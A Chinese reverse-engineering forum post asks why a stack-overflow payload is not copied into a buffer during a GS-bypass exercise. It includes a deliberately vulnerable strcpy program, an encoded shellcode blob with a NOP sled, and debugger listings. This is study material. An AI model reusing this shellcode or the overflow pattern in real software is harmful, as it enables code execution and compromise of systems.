[LEFT][/LEFT]c++源代码是这样:
#include "stdafx.h"
#include "string.h"
class GSVirtual {
public :
void gsv(char * src)
{
char buf[200];
//int *p=( int*)0x0012FF78;
printf("Hello X.W.liu");
strcpy(buf, src);
//*p=0x402110;
bar(); // virtual function call
}
virtual void bar()
{
}
};
int main()
{
GSVirtual test;
test.gsv(
●
[LEFT] "\x01\x17\x40\x00"
"\xb8\x82\x0a\x8d\x38\xd9\xc6\xd9\x74\x24\xf4\x5a\x29\xc9\xb1\x23"
"\x31\x42\x12\x83\xea\xfc\x03\xc0\x04\x6f\xcd\x38\xf0\x2b\x2e\xc0"
"\x01\x3f\x6b\xfc\x8a\x43\x71\x84\x8d\x54\xf2\x3b\x96\x21\x5a\xe3"
"\xa7\xde\x2c\x68\x93\xab\xae\x80\xed\x6b\x29\xf0\x8a\xac\x3e\x0f"
"\x52\xe6\xb2\x0e\x96\x1c\x38\x2b\x42\xc7\xc5\x3e\x8f\x8c\x99\xe4"
"\x4e\x78\x43\x6f\x5c\x35\x07\x30\x41\xc8\xfc\x45\x65\x41\x03\xb2"
"\x1f\x09\x20\x40\xe3\x83\xe8\x2c\x68\xa3\xd8\x29\xae\x5c\x15\xba"
"\x6f\x91\xae\xcc\x73\x04\x3b\x44\x84\xbd\x35\x1f\x14\xf1\x46\x1f"
"\x15\x79\x2e\x23\x4a\x4c\x59\x3b\x22\x27\x5d\x38\x0a\x4c\xce\x56"
"\xf5\x6b\x0c\xd5\x61\x14\x2f\x93\x7c\x73\x2f\x44\xe3\x1a\xa3\xe9"
"\xe4"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90"[/LEFT]
);
return 0;
}
在OD中,我们运行完strcpy(buf, src);断下来,得到观察栈空间,上面字节根本没有复制进来,为什么?
00401019 68 FC204000 PUSH GS_Virtu.004020FC ; Hello X.W.liu
0040101E FF15 A8204000 CALL DWORD PTR DS:[<&MSVCR90.printf>] ; MSVCR90.printf
00401024 83C4 04 ADD ESP,4
00401027 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8]
0040102A 8985 28FFFFFF MOV DWORD PTR SS:[EBP-D8],EAX
00401030 8D8D 30FFFFFF LEA ECX,DWORD PTR SS:[EBP-D0]
00401036 898D 24FFFFFF MOV DWORD PTR SS:[EBP-DC],ECX
0040103C 8B95 24FFFFFF MOV EDX,DWORD PTR SS:[EBP-DC]
00401042 8995 20FFFFFF MOV DWORD PTR SS:[EBP-E0],EDX
00401048 8B85 28FFFFFF MOV EAX,DWORD PTR SS:[EBP-D8]
0040104E 8A08 MOV CL,BYTE PTR DS:[EAX]
00401050 888D 1FFFFFFF MOV BYTE PTR SS:[EBP-E1],CL
00401056 8B95 24FFFFFF MOV EDX,DWORD PTR SS:[EBP-DC]
0040105C 8A85 1FFFFFFF MOV AL,BYTE PTR SS:[EBP-E1]
00401062 8802 MOV BYTE PTR DS:[EDX],AL
00401064 8B8D 28FFFFFF MOV ECX,DWORD PTR SS:[EBP-D8]
0040106A 83C1 01 ADD ECX,1
0040106D 898D 28FFFFFF MOV DWORD PTR SS:[EBP-D8],ECX
00401073 8B95 24FFFFFF MOV EDX,DWORD PTR SS:[EBP-DC]
00401079 83C2 01 ADD EDX,1
0040107C 8995 24FFFFFF MOV DWORD PTR SS:[EBP-DC],EDX
00401082 80BD 1FFFFFFF 0>CMP BYTE PTR SS:[EBP-E1],0
00401089 ^ 75 BD JNZ SHORT GS_Virtu.00401048
0040108B 8B85 2CFFFFFF MOV EAX,DWORD PTR SS:[EBP-D4];运行到此处,断下来
00401091 8B10 MOV EDX,DWORD PTR DS:[EAX] ;edx即为虚表指针
00401093 8B8D 2CFFFFFF MOV ECX,DWORD PTR SS:[EBP-D4]
00401099 8B02 MOV EAX,DWORD PTR DS:[EDX];得到虚表中第一个虚函数地址
0040109B FFD0 CALL EAX ;调用虚表中的第一个虚函数
这时,栈空间为
0012FE88 00150168
0012FE8C 0012FE9C ;0012FE9C 为缓冲区首地址
0012FE90 0012FEA0
0012FE94 00402114 GS_Virtu.00402114
0012FE98 0012FF78
0012FE9C 00401701 GS_Virtu.00401701
0012FEA0 00000000
0012FEA4 00150178
0012FEA8 00150000
0012FEAC /0012FEDC
0012FEB0 |785436C5 RETURN to MSVCR90.785436C5 from kernel32.TlsGetValue
0012FEB4 |00000001
0012FEB8 |0012FEDC
0012FEBC |785438B3 RETURN to MSVCR90.785438B3 from ntdll.RtlSetLastWin32Error
0012FEC0 |00000000
0012FEC4 |0012FF48
0012FEC8 |0012FEE8
0012FECC |785438C5 RETURN to MSVCR90.785438C5 from MSVCR90.7854383F
0012FED0 |0012FEE8
0012FED4 |7855C40C RETURN to MSVCR90.7855C40C from MSVCR90._getptd
0012FED8 |00151F49 ASCII "?
0012FEDC ]0012FEF8
0012FEE0 |7856028D RETURN to MSVCR90.7856028D from MSVCR90.7855C3F4
0012FEE4 |00000000
0012FEE8 |785BA2C0 MSVCR90.785BA2C0
0012FEEC |003B3060
0012FEF0 |003B1E90
0012FEF4 |7C930101 ntdll.7C930101
0012FEF8 ]0012FF10
0012FEFC |785604F3 RETURN to MSVCR90.785604F3 from MSVCR90.7856027A
0012FF00 |00000000
0012FF04 |00000000
0012FF08 |00000000
0012FF0C |00000004
0012FF10 ]0012FF28
0012FF14 |78542F8C RETURN to MSVCR90.78542F8C from MSVCR90._ismbblead
0012FF18 |00000000
0012FF1C |003B2940
0012FF20 |00000000
0012FF24 |00000000
0012FF28 ]0012FF54
0012FF2C |78543161 RETURN to MSVCR90.78543161 from MSVCR90.78542F32
0012FF30 |003B2944
0012FF34 |003B29A7
0012FF38 |0012FF4C
0012FF3C |004033AC GS_Virtu.004033AC
0012FF40 |004020B4 GS_Virtu.004020B4
0012FF44 |00000000
0012FF48 |0000005F
0012FF4C |00000002
0012FF50 |00151EE8
0012FF54 ]0012FF5C
0012FF58 |785427B4 RETURN to MSVCR90.785427B4 from MSVCR90.785430D1
0012FF5C \0012FF80
0012FF60 00401188 RETURN to GS_Virtu.00401188 from MSVCR90.__getmainargs
0012FF64 00403048 GS_Virtu.00403048
0012FF68 B8496A57
0012FF6C /0012FF7C
0012FF70 |004010D9 RETURN to GS_Virtu.004010D9 from GS_Virtu.00401000
0012FF74 |00402110 GS_Virtu.00402110
0012FF78 |004021F4 GS_Virtu.004021F4 ;此为虚表指针
可以看出,我们的shellcode压根没有拷贝进缓冲区
甚为不解,请高手指教
补充:我的测试环境:vs 2008精简版,windows xp sp3
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)